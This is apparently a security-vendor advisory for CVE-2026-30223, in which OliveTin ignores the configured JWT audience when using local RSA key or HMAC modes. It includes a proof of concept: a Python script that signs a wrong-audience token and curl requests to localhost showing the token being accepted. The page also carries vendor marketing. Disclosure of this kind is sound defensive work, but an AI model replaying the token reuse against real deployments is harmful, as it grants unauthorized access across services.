CVE-2026-30223

CVE-2026-30223 is a high-severity improper authentication vulnerability in github.com/OliveTin/OliveTin (go), affecting versions < 0.0.0-20260304231339-e97d8ecbd8d6. It is fixed in 0.0.0-20260304231339-e97d8ecbd8d6.

Summary

When JWT authentication is configured using either:

  • authJwtPubKeyPath (local RSA public key), or
  • authJwtHmacSecret (HMAC secret),

the configured audience value (authJwtAud) is not enforced during token parsing.
As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication.
This allows authentication using tokens intended for a different audience/service.

Details

Affected Code

File: jwt.go
Lines: 51–59, 144–157, 161–168

Current Behavior

Remote JWKS Mode (Correct):

return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))

Audience validation is enforced.

Local Public Key Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

HMAC Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.

PoC

  1. Configure OliveTin

    Use a minimal config with JWT local key authentication:

    authJwtPubKeyPath: ./public.pem
    authJwtHeader: Authorization
    authJwtClaimUsername: sub
    authJwtAud: expected-audience
    
    authRequireGuestsToLogin: true
    
  2. Generate a Wrong-Audience Token

    python3 - <<EOF
    import jwt, datetime
    
    with open("private.pem") as f:
        key = f.read()
    
    token = jwt.encode(
        {
            "sub": "low",
            "aud": "wrong-audience",   # intentionally wrong
            "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
        },
        key,
        algorithm="RS256"
    )
    
    print(token)
    EOF
    

    This prints the $WRONG_AUD_TOKEN.

  3. Test Without Token (Baseline)

    curl -i -X POST http://localhost:1337/api/WhoAmI \
      -H 'Content-Type: application/json' \
      -d '{}'
    

    Expected response:

    HTTP/1.1 401 Unauthorized
    
  4. Test With Wrong-Audience Token

    curl -i -X POST http://localhost:1337/api/WhoAmI \
      -H 'Content-Type: application/json' \
      -H "Authorization: Bearer $WRONG_AUD_TOKEN" \
      -d '{}'
    

    Expected response:

    HTTP/1.1 200 OK
    {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}
    

    Authentication succeeds even though the aud claim is incorrect.

Impact

An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.

This enables:

  • Cross-service token reuse
  • Authentication using tokens issued for other systems
  • Trust boundary violation in multi-service environments

This is particularly severe when:

  • OliveTin is deployed behind a centralized SSO provider
  • The same signing key is reused across services
  • Audience restrictions are relied upon for service isolation

This does not bypass ACL authorization.
It is strictly an authentication validation flaw.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-30223 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260304231339-e97d8ecbd8d6); upgrading removes the vulnerable code path.

Affected versions

github.com/OliveTin/OliveTin (< 0.0.0-20260304231339-e97d8ecbd8d6)

Security releases

github.com/OliveTin/OliveTin → 0.0.0-20260304231339-e97d8ecbd8d6 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260304231339-e97d8ecbd8d6 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-30223? CVE-2026-30223 is a high-severity improper authentication vulnerability in github.com/OliveTin/OliveTin (go), affecting versions < 0.0.0-20260304231339-e97d8ecbd8d6. It is fixed in 0.0.0-20260304231339-e97d8ecbd8d6. The application does not adequately verify the identity of a user, device, or process before granting access.
  2. How severe is CVE-2026-30223? CVE-2026-30223 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/OliveTin/OliveTin are affected by CVE-2026-30223? github.com/OliveTin/OliveTin (go) versions < 0.0.0-20260304231339-e97d8ecbd8d6 is affected.
  4. Is there a fix for CVE-2026-30223? Yes. CVE-2026-30223 is fixed in 0.0.0-20260304231339-e97d8ecbd8d6. Upgrade to this version or later.
  5. Is CVE-2026-30223 exploitable, and should I be worried? Whether CVE-2026-30223 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-30223 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-30223? Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260304231339-e97d8ecbd8d6 or later.

Other vulnerabilities in github.com/OliveTin/OliveTin

CVE-2026-53541CVE-2026-48709CVE-2026-48708CVE-2026-32102CVE-2026-31817

Stop the waste.
Protect your environment with Kodem.